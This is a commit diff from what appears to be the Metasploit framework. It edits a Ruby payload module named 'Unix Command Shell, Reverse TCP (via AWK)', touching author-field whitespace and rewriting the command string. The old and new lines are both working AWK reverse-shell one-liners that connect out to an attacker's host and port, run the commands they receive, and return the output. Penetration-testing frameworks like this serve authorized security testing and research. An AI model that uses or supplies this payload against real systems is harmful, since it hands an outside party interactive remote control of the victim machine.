Skip to content

Commit f6977c4

Browse files
committed
Modifications done in each PR.
1 parent 3424316 commit f6977c4

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/payloads/singles/cmd/unix/reverse_awk.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Unix Command Shell, Reverse TCP (via AWK)',
2121
'Description' => 'Creates an interactive shell via AWK',
22-
'Author' =>
22+
'Author' =>
2323
[
2424
'espreto <robertoespreto[at]gmail.com>',
2525
'Ulisses Castro <uss.thebug[at]gmail.com>',
@@ -51,7 +51,7 @@ def generate
5151
# Returns the command string to use for execution
5252
#
5353
def command_string
54-
"awk 'BEGIN{for(s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";s|&getline c;close(c)){while(c|& getline)print $0|& s}}'"
54+
"awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
5555
end
5656

5757
end

0 commit comments

Comments
 (0)